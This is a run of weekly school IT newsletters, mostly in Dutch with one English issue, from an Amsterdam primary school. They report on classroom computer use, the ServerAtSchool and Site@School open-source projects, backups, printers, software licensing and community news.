is, moesten we een stevige en zwenkbare ophangbeugel hebben. Kosten ongeveer
125 euri.
Het leuke is dat er mededelingen op kunnen, maar ook foto's, eductieve films, kleine videootjes, etc. etc.
Deze week hadden we twee gesprekken met scholen; beiden zeer geinteresseerd.
De internationale versie vordert. Peter breidde het EDEX import tool uit tot een universele leerlinggegevens import functie. En, let op Nederlandse scholen, het is nu ook mogelijk om nieuwe leerlingen via EDEX te updaten!
Je kunt dus bijvoorbeeld 1 x per maand het EDEX bestand aan Janitor geven, de nieuwe leerlingen worden automagisch aangemaakt.
Verder hebben we een universiteit bereid gevonden om het CD'tje met de internationale versie te hosten.
We werken rustig toe naar de 31 mei.
Volgende week meer.
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
This English issue of our IT weekly newsletter is larger than normal and
specially made for "The Christ School", Orlando, Florida, USA.
For further details, please read on.
This week two groups in our school were assisted by the EFS in working with a program with which children learn to search in web pages and on the Internet. Our problem is mainly: how to organize the activities in a school day in a way that computers are integrated in the regular curriculum.
In our group 4 the e-mail project is ending. Soon the bears will go back to their own classes.[2]
The “language” software program for our youngest pupils, that causes us so much frustration, is waiting for its final test. All names have (for the umpteenth time....) been put in the database. We are all going to make a new, but final start. If we again come upon new difficulties we are going to look for a new program.
This week the ICT dept. received -at last- our notice board. We have quite some lack of space on our desks and we needed this board to keep track of our missions. Here you can see it: http://www.rosaboekdrukker.net/index.php?page=615&navpath=, 4371&contents=4372§ion=15&ID=4372&gallerypage=1
In the image for our computers we had an irritating issue. The standard font
size of the browser was very large. That way our own website ran out of the
screen. This week it was altered, so that also the pictures on our site can be
totally seen.
(Dirk: my fault, I set the font size to maximum enlargement).
We bought a new software program for kids that have difficulties with arithmetics. It’s a remedial program.
The printer on the second floor of our school was out of order this week. Our technical support was able to reset everything from distance.
Since september 2004 we have the new ServerAtSchool. Your old data were made
available for you to copy them to your new location.
WHEN YOU DID NOT DO THIS, YOUR OLD DATA CAN GET LOST!! At the 5th of
May (Liberation Day, when the Netherlands were liberated by the Americans
in 1945) we will delete the old server data. When you have trouble recovering
your data, ask Karin or Dirk
We use P2 400, donated by a municipal service. One broke down, Dirk replaced the power supply and thanks to SABRINE, immediately a new image.
It is virtually impossible to understand the fine print in the contract of our
National Schools Microsoft software supplier. Of course, illegal use is
forbidden, but legal use of Microsoft in schools is almost impossible without
APS IT Services. So, annually, we report the number of computers, how many
full-time jobs we have in the team, etc. In total we pay about €700 (about $
900) for 50 computers per year.
When you got your computers as a donation, they make problems, when they are
better than P2 they make problems, etc.
Gradually we come to the conclusion that it's cheaper to buy normal licenses
and forget about APS-IT services. Or would that be forbidden? Karin pulls her
magnifying glass and starts reading the super fine print.
The server system that is developed at the public primary School Rosa Boekdrukker had a two page article in the Dutch Linux Magazine of april 2005. The editor was enthusiastic about the system and its possibilities for primary schools. Buy this issue of the Linux Magazine! You also find good article on Open Office.org 2.0; the replacement for Microsoft Office 2003. We will start using OOo after the summer holidays.
- We were at a school in the northern part of Amsterdam to 'sell' SAS. They like our approach to use second hand workstations and the simplicity of our approach.
- A school in Hilversum will deploy ServerAtSchool. They have a lot of Mac's and Peter has some extra work to do to integrate the Mac's in SAS.
- When restoring an image on a client we found a strange error message in the log files. A call to the help desk, and Peter in Bussum connecting to the client revealed the problem; a misconnected harddisk cable. It's the strength of this system that problems can be solved over the phone.
- Last Friday we had a meeting of the cooperation of schools that uses SAS. The
name of the group is now, (thanks to Ton):
STRICT: Scholen Tezamen Rijk met ICT (English: Schools Together Rich with
Information and Communication Technology). ICT is a common name in the
Netherlands for what the rest of the world names 'IT'.
At this moment pupils in the 8 th grade of 'The Christ School' in Orlando, Florida, USA, are proofreading and correcting the S@S manual.
Thanks to the precise work and sharp eyes of Alex, Alice, Amy Morgan, Angela,
Ann Kallyn, Chelsea, Julie, Matthew, Micah and Taylor the manual of the 2.3
version will be in correct English.
The S@S team expresses its gratitude to the pupils and the teacher (Rich Magee)
who all made this great improvement possible.
Maybe it's also an idea to have a look at the English in S@S itself for the
next version?
And, last but not least, Dirk learns a lot too. Hopefully his English will improve,
at least his 'its' and 'it's'.
is now operational. In the hall of our school we have a television set. With an
old computer, a cheap tv video card and Site@School we have a message system
that is low-cost and easy to manage (from home). We can show messages,
pictures, videos, etc.
The release date of version 2.3 is slowly approaching. We released a new beta
version for our testers. At many places in the world people are working now on
the translations. We are grateful for so much help and encouragement.
Have a nice weekend,
Karin,
Dirk
[1] Educational Facilitation Service: A foundation that helps schools with integrating new methods, school plans, learning disabilities, and all kind of problems trhat schools run into.
[2] The Bears Project: A teddybear from a school in the Northern Part of Holland stays a couple of weeks in our school. Every afternoon the bear goes home with another pupil and spends the night there. The bear tells her/his adventures by email to the other school. And vice versa. It helps children to write texts and communicate by email.
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week een korte BIC. Twee redenen. We wilden eens een positieve BIC en we hebben niet zoveel tijd omdat we het jaarlijkse teamuitje hebben.
Deze week hebben we met het hele team ons ICT onderwijs onder de loep genomen. Er werd getoond wat er gedaan was, er werden suggesties gedaan hoe het beter kan en er werden veel wensen geuit over wat men nog wil leren. Al met al was het een hoopgevende bijeenkomst. Ondanks dat ons team uit veel oudere leerkrachten bestaat, is ICT hier springlevend.
Door een verkeerde muisklik wiste Karin een hele groep in de Leesladder. Bij
terugzetten bleek dat LL een uitstekende backup-voorziening heeft. Er zijn
meerdere backups beschikbaar.
Binnen een kwartiertje was de zaak teruggezet en had Karin haar gegevens weer.
Onze Helpdesk medewerker Peter was zeer over Zwijsen te spreken.
Wilde niet meer opstarten met een vage melding over een corrups hupperdepup.exe
file. Windows opnieuw installeren. Gelukkig had ze met SABRINE in no time weer
een 'nieuwe' computer.
De snelheid, eenvoud en gemak van deze software verrassen ons iedere dag weer.
Ronald zijn muis deed het opeens niet meer. Hij heeft zo’n draadloos ding. (waar is dat nou handig voor???) Lag het aan de batterijen? Dus de batterijen van Agnes d’r muis maar geprobeerd: ja, daar lag het aan. Gelukkig ondersteunt de afdeling ICT alleen positief geadviseerd materiaal en hoefden we er niets aan te doen. Ronald loste het zelf op.
Tot zover de BIC, we gaan bikken
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Het berenproject in groep 4 is afgelopen. Snuffeltje is weer bij ons terug en
Joey-Fleur is ook weer veilig in Franeker. Wij vonden het een reuze succes en
zijn trots, dat de leerlingen al zulke lange brieven kunnen schrijven. Ook
mailen met een school zo ver weg is spannend.
Voor herhaling vatbaar!!
Deze week hadden we een bouwvergadering die helemaal in het kader van onze ICT leerlijn stond. Jan van “Stampei” (samenwerkingsverband tussen CIAO en het ABC, de Amsterdamse schoolbegeleidingsdienst. Afkorting van STeunpunt AMsterdams Primair onderwijs voor Educatie en Ict, http://www.edu.amsterdam.nl/) adviseerde ons en deed suggesties. We hebben afspraken gemaakt hoe we onze lessen beter kunnen organiseren en welke onderwerpen er nog aan bod moeten komen. Eind mei komen we weer bij elkaar om te kijken of de afspraken hebben geholpen. We zullen o.a. gaan uitzoeken welke manier van registratie ons het beste bevalt. Welke kinderen hebben welke oefeningen gedaan en welke vaardigheden worden beheerst? En komen ze regelmatig aan de beurt?
Ook in groep 7 zijn deze week door de schoolbegeleidingsdienst afspraken gemaakt voor klassenconsulten voor het gebruik van Digiwijzer. Module 2 is nu in gebruik genomen door groep 7 en 8. Groep 6 is nog bezig aan module 1.
Groep 8 deed mee aan een wedstrijd voor het tijdschrift Sam Sam (zie
nieuwsbrief 11:
http://www.rosaboekdrukker.net/index.php?section=6&page=675&option=view&newsletter_id=48)
Ze hebben de eerste prijs gewonnen met hun fantasieland. Zie foto’s
(http://www.rosaboekdrukker.net/index.php?page=615&navpath=,2646,4529&contents=4530,4531,4532§ion=15&ID=4531&gallerypage=1)
Dirk's kelder begint een beetje leger te raken.
Matthijs en zijn vader zijn met een aanhangwagen naar Amsterdam gekomen om 21
Dell computers, monitoren, toetsenborden etc. op te halen. Dit materiaal,
afkomstig van onze gemeentelijke dienst, is hetzelfde als wat wij op school
gebruiken.
Prima stuff dus.
groeten en prettige oranjevieringen,
vooral in de Koniginnenach
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
wachtwoorden voor de leerkrachten te kiezen. De wachtwoorden zijn nu te eenvoudig en dat is een keus die we achteraf betreuren. Want ze zijn te gemakkelijk te raden. Voortschrijdend inzicht.
Niet alleen inloggen, maar ook UITLOGGEN
Een leerkracht kon niet meer met Word werken. Desktop icoon verdwenen. Oorzaak:
onbekend. Hij vermoedt dat het komt doordat hij zijn computer heeft
achtergelaten zonder uit te loggen en dat een ander toen is gaan rommelen aan
zijn bureaublad. De bureaubladen van de leerlingen staan vast, maar die van de
leerkrachten niet.
De afd. ICT wil jullie er graag nog een keer aan herinneren dat niet uitloggen
ON-veilig is. Anderen kunnen dan bij je documenten.
Deze week ging er weer iets mis met de Leesladder. En weer waren de gegevens van groep 3 niet te bereiken. We denken dat het te maken heeft met ONGEDULD bij het trage opstarten van het programma. De leerlinggegevens moeten van de server gehaald worden. Als een kind (of leerkracht) dan nog een keer gaat klikken start het programma dubbel, en dat kan natuurlijk niet. Gelukkig kon de backup snel worden teruggezet. Advies: laat een leerkracht het programma klaarzetten. Opstarttijd varieerde van 17 tot 27 seconden. Dus een halve minuut wachten. Ja, geduld is een schone zaak.
Leerkrachten bij ons op school hebben de mogelijkheid om van thuis uit te werken met hun documenten op de schoolserver. Met een heel simpel programma (WINSCP) en een simpele handeling in “janitor” (ons beheersprogramma) kunnen we bij al ons werk. Het is dus niet meer nodig documenten van en naar school te mailen. Bovendien kunnen we met webmail ook thuis onze mail afhandelen
Als de kat van huis is....
Fred is op vakantie. Als hij thuiskomt zal hij een overvolle mailbox vinden
want het was zeer druk op het Forum. Tovenaarsleerling Dirk hield zich gedeisd
dus er ging niet veel mis.
Het corrigeren van het manual door de leerlingen van de school in Florida
verloopt voorspoedig en zal op tijd afkomen.
De releasedatum van 2.3 nadert....
Deze week kwamen de ICT'ers van een bestuur in Horst langs voor een
demonstratie. Ze vonden 't wel een mooi systeem dat een aantal van hun
problemen zou kunnen oplossen. Jammer dat ze weinig tijd hadden.
We werden benaderd door Didaktief voor een telefonisch interview over SAS.
Een school in Hilversum gaat niet verder met SAS. De school heeft 60 Mac's en
vond een oplossing voor hun server door middel van MaC software die in België
met steun van het ministerie van onderwijs ontwikkeld is. Een terechte keus en
we zullen zeker nog van ze horen.
Groeten en prettig weekend
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
De firma INSTRUCT (www.instruct.nl) heeft
een programma waarmee de leerlingen allerlei vaardigheden kunnen leren op de
computer. Dat programma is in een nieuw jasje gestoken en kan via het internet
gedaan worden. Je betaalt dan per module een jaarschoollicentie. In ons geval
iets van 62 euro per jaar. Een demo is te zien via de volgende link: http://www.instruct.nl/sf35/sf.mcgi?1118
Misschien is dit wel een prima methode voor ons om te gebruiken, omdat
leerlingen er in eigen tempo en op eigen niveau aan kunnen werken. En de
registratie zit er ook bij!!
Is er al iemand in het land die er ervaring mee heeft?
De printer op de tweede verdieping houdt er om duistere redenen af en toe mee
op; er kan dan niet meer geprint worden. Hoogst irritant.
We hebben er een andere printer neergezet. Aanpassingen aan de server op
afstand door Peter gedaan.
Verder op de eerste verdieping nieuwe cartridge in de printer.
We vonden een programma dat je vele toetsaanslagen en muisklikken kan besparen:
http://www.autohotkey.com/
Voorbeeldje: onderstaande tekst telkens typen door de Alt en de 'a' toets te
gebruiken:
'Wij wensen u veel succes bij het zoeken naar een nieuwe baan.
Met vriendelijke groet,
etc.'
Het programma is OSS, goed gedocumenteerd en kan zelfs de muiscursor op een
bepaalde plek op het scherm zetten.
Peter en Dirk waren op 'de Opslach' in Franeker voor de 'schouw'. We hebben alles bekeken en precieze afspraken gemaakt met met Matthijs en Joke. Matthijs wil graag veel zelf doen, en dat kan gelukkig met SAS.
Door een stroomstoring raakte één van de servers van de Joop Westerweel zodanig
defect dat de harddisk overleed. Dankzij het prima backupsysteem kon Peter in
recordtijd de data terugzetten op een andere server. Het was wel schrikken,
want het ging om alle gegevens van ESIS.
Even ter info: als je alle verloren gegane data (leerling-, personeels-,
financiële administratie, toetsgegevens en voorschool opnieuw zou moeten
(laten) invoeren, kost dat ongeveer net zoveel als een middenklasse auto. Maar
je zult nooit alles terugkrijgen. Oude gegevens uit het leerlingvolgsysteem kun
je meestal niet meer uit je herinnering reconstrueren.
Knallende kurken in het S@S kantoor. Zaterdag 21 mei bestaat S@S 1000 dagen. Dank allen voor jullie bijdragen die dit CMS tot het basisschool CMS maakten.
Voor de statistiek:
Totaal aantal hits: 219,122
Totaal aantal downloads: 18,686
Aantal posts in het forum: +3200
Aantal antwoorden van Fred: 1000 (ook deze week bereikt)
Bulgaars
We ontvingen van Stefan (leraar te Bulgarije) de Bulgaarse vertaling van S@S.
Daarmee komt het aantal talen op 16.
Het 'handleiding correctie' project dat de kinderen van een basisschool in Florida uitvoerden, loopt op zijn eind. Ze hebben honderden kleine en grote fouten uit alle hoofdstukken gehaald. Typefoutne verkeerd woordgebruik ( 'amount' i.p.v. 'number'), fouten in meervoud ('the pupils en 'the pupils' books) etc. Soms interessante discussies (you are opening a can of wurms!). De kwaliteit van het manual is er enorm op vooruitgegaan.
Het developers manual begin ook het punt te naderen dat beschreven is wat de
interne structuur van S@S is en wat alle scripts doen. Deze enorme klus komt
geheel voor rekening van Fred. Het is interessant om eens te kijken op:
http://siteatschool.sourceforge.net/index.php?section=13&page=60
We zeggen het nog maar eens duidelijk (wie pakt de handschoen op?): Wij kennen
geen OSS project dat zo volledig gedocumenteerd is, met een:
- Handleiding voor gebruikers.
- Handleiding voor ontwikkelaars.
- Richtlijnen voor het schrijven van een handleiding.
- Richtlijnen voor het schrijven van code.
We horen graag van andere OSS projecten die dit alles ook hebben.
We steken er graag wat van op.
groeten en prettig weekend
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Om de filmpjes op Beeldbank te bekijken moet je een geavanceerde versie van
Media Player of Real Player hebben. Zo worden we gedwongen om met de grote
jongens mee te doen. Jammer.
(Voor de techniek lees ook onderaan)
Deze week hebben we in onze scholing geëvalueerd of de registratie bevalt (van wat de leerlingen moeten doen en moeten kunnen). Daarover zijn wat afspraken gemaakt. Ook is er afgesproken dat er in juni klassenconsulten zullen plaatsvinden. Jan zal op één ochtend in de groepen 3, 4 en 5 o.a. kijken hoe de organisatie verloopt.
In groep 5 is er een ouder gevonden die helpt bij het aanleren van vaardigheden op gebied van Paint en Word. Ze neemt steeds een groepje van 6 leerlingen onder haar hoede. Wat een uitkomst!
Eén van onze (kado gekregen) laserprinters printte te bleek. Gelukkig hadden we bij de printers ook nog gedeeltelijk gebruikte cartridges gekregen, dus hoefden we nog geen €140.- uit te geven voor een nieuwe.
Het aftellen is begonnen...(voor de nieuwe release van 31 mei)
Florida legde de laatste hand aan het manual. Het is nu te bekijken op:
http://wyxs.net/mansas/man2.3/
Peter en Dirk waren deze week bezig op 'de Ark' in Buitenveldert. Installatie
en uitrol gaan voorspoedig, gedegen maar een beetje langzaam.
Om die reden beraden we ons over de wijzen van begroten van de
installatiekosten.
De Windows Media Player die we nodig hebben voor Digiwijzer, om
schooltv-beeldbank te bezoeken komt niet door de firewall heen. Poort 554 en
1755 moeten daarvoor open. Peter werkt eraan.
We zijn druk (afscheid collega’s), dus is er niet veel te biccen.
groeten en prettig weekend.
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week hadden we een scholing om het programma Maatwerk te leren
begrijpen. Omdat het programma bedoeld is voor leerlingen die echt erg
uitvallen met rekenen waren alleen de Ib-ers, RT-ers, de rekenspecialist en de
ICT coördinator aanwezig.
De bijeenkomst was niet erg bevredigend, omdat het programma blijkbaar de
nieuwste versie was en de begeleider daar niet van op de hoogte was. Dit wordt
nog vervolgd!!
Deze week waren twee leerlingen opeens hun map (mijn documenten) kwijt In het ene geval had een leerling de map versleept naar een map van een medeleerling. Het andere geval is nog niet opgelost. Een hoop gepuzzel.
De moeder die helpt in groep 5 met de Word en Paint vaardigheden helpt nu ook de leerlingen van groep 4. Wat fijn, dat er ouders hiertoe bereid zijn.
Er is een nieuwe feature in SiteAtSchool. Leerlingen werken samen aan een project, of een thema. In groep 3 zijn we begonnen om de teksten die de kinderen moeten typen in zo’n project te verzamelen. Er is een klein beginnetje gemaakt: http://www.rosaboekdrukker.net/index.php?section=4&page=729&student=396
Het is heel prettig te merken, dat naar aanleiding van deze nieuwsbrief meegedacht wordt aan oplossingen. Naar aanleiding van onze klacht vorige week over het bekijken van filmpjes op de site van BEELDBANK hebben we een tip gekregen -van onze zeer gewaardeerde BIC lezer Dennis- voor een andere “Player”, http://www.free-codecs.com/download/Real_Alternative.htm We weten nog niet of ie werkt omdat er nog aan het openzagen van de poorten in de firewall wordt gewerkt. We houden je op de hoogte.
Deze week hebben we de klassenconsulten van de bovenbouw nabesproken met de
OBD. Naar aanleiding daarvan hebben we bekeken hoe we volgend jaar verder
zullen gaan. Het accent komt te liggen op het TAALASPECT: hoe maak je een
werkstuk? Wat wordt er aangeboden in onze methode (Taalleesland)
Eind mei moesten de aanvragen voor de scholingen van het komende schooljaar
ingediend worden. Dat isnu gebeurd.
Op 28 juni is er een themabijeenkomst
'Leren vernieuwen met ICT'. Meer informatie hierover is te lezen op de site van
stampei. http://www.edu.amsterdam.nl/STAMPEI/CORE/00/24/31.HTML
Er staan heel interessante onderwerpen op het programma. (o.a. project Vision
en Kennisrotonde)
De nieuwsbrief over leerling-zorg van Kennisnet van de maand juni is uit. Lees
en huiver: http://e-zine.kennisnet.nl/index.php?section=titels&action=view&archive_id=382
Een eigen abonnement erop is natuurlijk ook mogelijk.
Eindelijk heeft de ICT afdeling een handsfree looptelefoon met oortelefoon, waardoor je anderen niet stoort. Dat is handig voor helpdesk contacten. Zo heb je je handen vrij om te typen of op aanwijzingen van een deskundige iets uit te voeren. Wij van ServerAtSchool vinden 't ding eigenlijk een voorwaarde voor een ICT'er. Nu nog uitzoeken hoe je de koptelefoon uit opgestoken haren gemakkelijk kunt losmaken. Bij Karin slaagde Dirk daar alleen in door het haar los te knippen.
Afgelopen zondag (twee dagen eerder dan gepland) was de release. Iedereen blij, Fred en Dirk aan de drank.
Probleemloze migratie gehad deze week. Fred was standby maar hoefde niet in actie te komen.
Peter rondde deze week de installatie van SAS op 'De Ark' in Buitenveldert af. Daar hebben ze nu 30 werkstations en alles lijkt naar tevredenheid te draaien.
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Volgende week maken we ICT scholingen definitief. Het zijn nu nog concepten.
De kogel is door de kerk. Na de zomervakantie gaan we op zoek naar een nieuw
kleuterprogramma. We zijn het zat: elke keer weer een obstakel. Het heeft twee
jaar geduurd. Elke keer weer probeerden we een oplossing te vinden.
Ons advies: schaf nooit een programma aan, dat nog niet op veel scholen en in
verschillende netwerken draait. En zeker geen programma dat eerst als
stand-alone is gemaakt en daarna is aangepast voor een netwerk.
Het spreekt voor zich, dat rekeningen die Malmberg blijft sturen door ons
nimmer betaald zullen worden. We wachten nog steeds op een schadevergoeding
hunnerzijds.
We hebben het contract opgezegd. Nooit meer nodig. Besparing op jaarbasis EUR 200. Met dank aan ServerAtSchool en ClamAV.
We kregen mail van Pablo Torres van het MediaLab Teilhard de Chardin, Colegio San Ignacio El Bosque, Santiago, Chile. Hij en enkele van zijn collega's willen de Spaanse versie gaan bijhouden en het manual in het Engels vertalen. WOW!!
Wat begon als een onschuldig script om een pagina op een TV bij de ingang te
vertonen laat Fred (met dank aan Peter) uitgroeien tot een heftige module. Er
zijn nu verschillende opties: één pagina vertonen, meerder pagina's achter
elkaar vertonen, een pagina laten scrollen, een fotoalbum vertonen.
Het is ook mogelijk om in school meerdere TV's te hebben die ieder hun eigen
pagina(s) vertonen. Dat is handig, bijvoorbeeld als de school meerdere ingangen
heeft. Zo kan de ingang voor de onderbouw andere pagina's krijgen dan de rest
van de school.
Verder zou je ook op de computers in de klas zaken kunnen vertonen.
Naar ons idee hebben we weer een absolute klapper in huis.
Bij ons werkt de TV module al een tijdje. Wie 'm wil zien; welkom. Bel maar
voor een afspraak.
Er is een bugfix beschikbaar voor versie 2.3. Zie het Forum.
Hopelijk de laatste hobbels genomen op de Ark. We leren weer vele wijze lessen. De belangrijkste: laat nooit een ander het basis-image maken! Hij/zij heeft een eigen (goede!) trukendoos, maar dat wil niet zeggen dat die trucs ook bij een SAS installatie werken.
Opeens waren een paar leerlingen hun mappen kwijt. Ze waren snel en eenvoudig weer teruggezet, maar we weten nog niet waarom die leerlingen de mappen kwijtraakten. Gewist? Verplaatst? Bugje in Janitor? We houden het in de gaten.
Het programma waarmee op een veilige manier thuis gewerkt kan worden met de
docs op de schoolserver is nu ook in een Nederlandstalige versie beschikbaar.
Download v. 3.7.5 beta op:
http://winscp.net/eng/index.php
Neem de multilingual version.
Tot zover maar weer, groet en prettig weekend,
Karin, Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
De afgesproken scholing over het remediërende programma Maatwerk zullen we na
de zomervakantie opnieuw doen. Er ging iets vreselijk mis aan de kant van de
begeleidingsdienst. Gelukkig werd de fout toegegeven en pakken we het na de
vakantie met frisse moed weer op.
We zijn deze week ook even gaan kijken op de Joop Westerweelschool hoe ze daar
met Maatwerk werken. Altijd leuk om bij een ander te kijken. (ze werken ook met
server-op-school)
Deze week hebben we een plan gemaakt voor het komende schooljaar. Wat we ervoor nog nodig hebben is te weten hoeveel scholing je aan leerkrachten verplicht kunt stellen. In de normjaartaak zit per aanstelling een verplicht aantal uren. Daar moeten we rekening mee houden bij de vaststelling van ons traject.
Nu we hebben besloten om het programma niet meer te gebruiken, moeten we op zoek naar een nieuw kleuterprogramma. Volgend jaar gaan we eerst om de tafel zitten met de betrokken bouw om te kijken aan wat voor soort programma het meest behoefte is: een woordenschat programma of een programma dat beantwoordt aan ontluikende geletterdheid
Al enige jaren werkt Barry Faas aan 'programmeer'-gereedschap waarmee op een
makkelijke manier educatieve programma's gemaakt kunnen worden. Met dit
programma 'Edukitty' won Barry twee jaar gelden de Linux-Magazine
programmeerwedstrijd.
Het werk aan het programma is nu zover dat hij moet kiezen welke standaard hij
neemt voor het grafisch werk. Zijn voorlopige keuze is OpenGL:
http://www.sgi.com/products/software/opengl/
Zijn vraag is of de tamelijk eenvoudige computers in het onderwijs goed kunnen
omgaan met OpenGL.
Wij willen hem graag helpen en vragen jullie het volgende:
Wil je een testje doen op je verschillende computers en de resultaten mailen
aan Barry. De test is supereenvoudig en duurt minder dan 5 minuten.
Ga naar:
http://wyxs.net/gltest . Daar vind je het
programma: gltest.exe. Download gltest.exe en draai het programma. Het
bestandje pakt zichzelf uit in een map 'gltest' In de map zit gltest32.exe. Doe
het testje (figuurtjes op je scherm) door gltest32.exe uit te voeren.
In de map 'gltest' vind je een bestandje 'results.txt'. Daarin staan de
resultaten van de test. Leuk om te lezen. Mail dit bestandje als bijlage naar
Barry: gltest@tux.demon.nl . Het mailadres staat ook onderin het bestandje
'results.txt'.
Dat is alles. Het programma doet niets met je computer of met het register.
Namens Barry en alle toekomstige gebruikers van Edukitty, zeer bedankt!
Deze week stond in het teken van obs 'de Opslach' in Franeker. De school was dicht wegens vakantie. Peter, Matthijs en Dirk hebben hard gewerkt aan de uitrol. Die verliep probleemloos en we liggen prima op schema. Maandag verder.
De TV module werkt prima en John, onze conciërge, houdt de pagina's met
mededelingen bij. Het prettige van S@S toegangsbeheer is dat hij 1 sectie en 1
module mag gebruiken.
John: "Makkelijk te doen. Gisteren heb ik ook de foto's van het bezoek aan
de minister via de tv laten zien". (groep 8 heeft een prijs gewonnen via
het tijdschrift Sam Sam)
Neem eens een kijkje op andere sites die met S@S gemaakt
zijn!!! http://siteatschool.sourceforge.net/index.php?section=6&category=&page=10&PHPSESSID=b7d6742ef830d68471d1dc6cd3f7532f
Het worden er steeds meer!!!
We zoeken nog steeds vertalers voor de vertaling van de Users' Guide naar het Nederlands. Help mee en doe een paar hoofdstukken!
Tevens zouden we graag in contact komen met leerkrachten die:
- S@S zeer goed in de vingers hebben en
- ervaring hebben in het lesgeven in S@S aan leerlingen en leerkrachten, om
- handleidingen te schrijven voor leerlingen en leerkrachten.
Het betreft hier werk waar een vergoeding tegenover staat.
De handleidingen zullen onder de LGPL licentie beschikbaar komen.
Het testen van S@S gebeurde tot nu toe door goedwillende amateurs en de
gebruikers. Daar komt verandering in!
Stagiair Martin (hij maakte het foto album voor S@S) heeft nu een baan als
professioneel tester van software. Hij mag het testen leren op een proefproject
en koos S@S!
Zeer bedankt Martin, S@S kan wel een echte tester gebruiken, maar over de
amateurs natuurlijk niets dan goeds. Hun werk blijft nodig. Zolang er insecten
zijn, zullen wij leven met bugs.
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Elk jaar evalueren wij ons onderwijs en onze organisatie. Dat deden we afgelopen donderdag. ICT kwam ook aan de orde. Het scholingsbeleid voor het komende schooljaar werd uitgelegd aan de hand van wat we het afgelopen jaar hebben bereikt. Het beoogde doel was nog niet gehaald en daar moet dus nog aan gewerkt worden door middel van begeleiding/klassenconsulten, extra scholing en regelmatige evaluaties in de planningskalender. Het doel is in ons ICT beleidsplan als volgt geformuleerd: “De leerkrachten moeten aan het einde van schooljaar 2004 – 2005 zelfstandig kunnen omgaan met het uitgestippelde ICT traject op gebied van eigen ICT vaardigheden en onderwijskundige toepassingen.” Bij ons op school ligt het probleem bij ZELFSTANDIG. Want de organisatie van de uitgestippelde lijn is nog niet zo eenvoudig.
Ons fotoalbum op de website moet nodig gereorganiseerd worden. Het wordt vol en onoverzichtelijk. En ook schaffen steeds meer collega’s een digitale camera aan en willen de foto’s op de websites zetten. Hier moet beleid op gemaakt worden. Heeft iemand een idee?
Moodle is een OSS/GPL beheersysteem waar je je lessen in kan stoppen.
Leerlingen kunnen de lessen volgen, maar ook opdrachten uitvoeren, overleggen
met elkaar en nog veel meer. Je kunt het zo gek niet verzinnen of het zit er
in.
Peter en Dirk bezochten de Open Schoolgemeenschap Bijlmer alwaar ze een
demonstratie van Moodle kregen van Hans.
Wij twijfelden er aan of Moodle wel bruikbaar zou zijn binnen het _basis_onderwijs.
Die twijfel is weg. Het is een ongelofelijk doordacht syteem. Het probleem is
dat je er tijd in moet stoppen om éénmalig je lessen in te voeren. Maar
daarna...
(http://www.moodle.org)
De Opslach draait. Matthijs heeft nog wat afrondingsklusjes.
Nagekomen bericht: Hij kocht voor 30 euro 8 tweedehands printerservers. Die
draaien prima. Hij kon zijn oude printers daardoor in gebruik houden voor de
gehele school
Martin is aan het testen. Fred en Dirk worden bestookt met mails. De zaak wordt zeer grondig aangepakt.
Dirk pakte een oud idee weer op: samenwerken op de computer. Dat is eigenlijk
nooit van de grond gekomen. Bijvoorbeeld, dat je met twee mensen aan 1 tekst
werkt. Raadpleging van de experts leverde geen antwoord op. Googlen wel.
Met MoonEdit kun je met maximaal 14 mensen aan een tekst werken; overal ter
wereld. Het is echt verbluffend om het te zien.
http://moonedit.com/
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week werd in groep 3, 4 en 5 gekeken door onze OBD hoe de organisatie van de integratie van ICT plaatsvindt. De leerlingen werkten aan hun opdrachten. Maar niet alle kinderen. Wat deed de rest van de klas? Hoe moet je dat nou handig doen? In groep 3 wordt een weet-tekst overgetikt in Word. (zie: http://www.rosaboekdrukker.net/index.php?page=729§ion=4)
In groep 4 maken de leerlingen een woord-veld, passend bij een taalthema in Paint. In groep 5 wordt gewerkt aan grotere kennis van Word volgens de methode “Digiwijs”. Binnenkort zullen de waarnemingen worden geëvalueerd in een groter gezelschap, zodat we er allemaal wat van kunnen leren.
Deze middag werd georganiseerd door Stampei
Verslagen zijn te vinden via de volgende links:
http://www.stampei.nl/STAMPEI/CORE/00/24/31.HTML
http://www.ictopschool.net/samenwerking/nieuws/Nieuwsbericht.2005-06-30.4715
Iets nieuws voor het onderwijs was er niet te horen, als je een beetje de
vakliteratuur en nieuwsbrieven bijhoudt. Wel was het natuurlijk erg interessant
om van anderen te horen waar ze mee bezig zijn. Ook het netwerken met andere
ICT coördinatoren is vaak inspirerend.
Veelgenoemde knelpunten waren de visie op ICT die nog te weinig ontwikkeld is,
het feit dat ICT niet geïntegreerd en teveel “ hap snap“ is , te weinig tijd
omdat er nog zoveel andere prioriteiten zijn, en de competenties van
leerkrachten. Daadwerkelijk gebruik van ICT in het onderwijs vraagt nieuwe
vaardigheden.
Op de site http://www.webkwestie.nl/ staan allerlei vraagstukken die leerlingen op het internet moeten oplossen. We gaan er zeker een selectie uit maken die voor onze kinderen geschikt zijn om te doen. Als het gelukt is, zullen we er over publiceren.
Nu worstelt ook een andere school met Letterpret. Van onze speciale correspondent hoorden we dat Letterpret zich niet aan de EDEX standaard houdt. Dat claimen ze (malmberg) wel.
Didaktief
We staan in 'Didaktief'! Lees het stukje onder:
http://serveropschool.nl/index.php?section=2&page=45
Van Matthijs: "De migratie is geslaagd, de gebruikers hebben niets gemerkt. Het enige dat ze opviel is dat SAS logo aan het begin".
Peter werd licht gestoord van de inbraakpogingen op de server (op poort 22).
Met deze poort is een versleutelde, dus zeer veilige, verbinding met de wereld
mogelijk, bijvoorbeeld voor serveronderhoud. De poort wordt ook door de
thuiswerkers gebruikt.
Voortdurend worden er hele lijsten met namen op losgelaten, om te kijken of de
server ‘hapt'. Dit komt allemaal in de logfiles terecht, en moet dus allemaal
onder ogen van mensen komen. (want de logfiles worden gecontroleerd)
